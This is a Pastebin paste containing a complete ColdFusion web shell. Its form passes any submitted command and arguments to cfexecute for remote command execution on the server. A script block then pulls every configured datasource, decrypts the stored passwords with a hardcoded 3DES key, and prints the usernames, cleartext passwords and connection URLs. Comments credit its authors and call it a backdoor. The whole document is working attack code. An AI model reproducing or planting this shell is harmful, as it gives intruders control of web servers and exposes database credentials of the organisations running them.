Guest User

Untitled

a guest
Nov 2nd, 2017
29
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.14 KB | None | 0 0
  1. <html>
  2. <body>
  3.  
  4. <!-- orig author: kGrutzmacher -->
  5. <!-- additshonz: lawKnee -->
  6. <b>Notes:</b><br>
  7. <ul>
  8. <li>For Windows put this as command "c:\windows\system32\cmd.exe /c" or wherever cmd.exe is<br>
  9. <li>For Windows options are the command you want to run "dir" "type" etc
  10. </ul>
  11. <p>
  12.  
  13. <cfoutput>
  14. <table>
  15. <form method="POST" action="">
  16. <tr><td>Command:</td><td><input type=text name="cmd" size=50
  17. <cfif isdefined("form.cmd")>value="#form.cmd#"</cfif>><br></td></tr>
  18. <tr><td>Options:</td><td> <input type=text name="opts" size=50
  19. <cfif isdefined("form.opts")>value="#form.opts#"</cfif>><br></td></tr>
  20. <tr><td>Timeout:</td><td> <input type=text name="timeout" size=4
  21. <cfif isdefined("form.timeout")>value="#form.timeout#"
  22. <cfelse>value="5"</cfif>></td></tr>
  23. </table>
  24. <input type=submit value="Exec" >
  25. </form>
  26.  
  27. <cfif isdefined("form.cmd")>
  28. <cfsavecontent variable="myVar">
  29. <cfexecute name = "#Form.cmd#"
  30. arguments = "#Form.opts#"
  31. timeout = "#Form.timeout#">
  32. </cfexecute>
  33. </cfsavecontent>
  34. <pre>
  35. #HTMLCodeFormat(myVar)#
  36. </pre>
  37. </cfif>
  38.  
  39. <cfscript>
  40. //The following code borrowed from hernanOchoa @hexale (thx)
  41. //added better formatting on output and connection string [lb]
  42.  
  43. // Create Data Source Object
  44. dataSourceObb=createobject("java","coldfusion.server.ServiceFactory").
  45. getDatasourceService().getDatasources();
  46. writeoutput("<br><br><b>Datasource Credentials:</b><br>");
  47. writeoutput("<table>");
  48. // Loop Through DataSources
  49. for(i in dataSourceObb) {
  50. if(len(dataSourceObb[i]["password"])){
  51.  
  52. // Get url
  53. theurl=(dataSourceObb[i]["url"]);
  54.  
  55. // Get username
  56. username=(dataSourceObb[i]["username"]);
  57.  
  58. // Get and decrypt password
  59. decryptPassword=Decrypt(dataSourceObb[i]["password"],
  60. generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"), "DESede",
  61. "Base64");
  62.  
  63. // Output datasource usernames, passwords, and urls
  64. writeoutput("" &
  65. "<tr><td>DataSource: " & i & "</td>" &
  66. "<td>Username: " & username & "</td>" &
  67. "<td>Password: " & decryptPassword &
  68. "<td>URL: " & theurl & "</td></tr>");
  69. }
  70. }
  71. writeoutput("</table><br>");
  72. </cfscript>
  73. </cfoutput>
  74. </body>
  75. </html>
  76.  
  77. <!-- orig from mDaw bdoor -->
Add Comment
Please, Sign In to add comment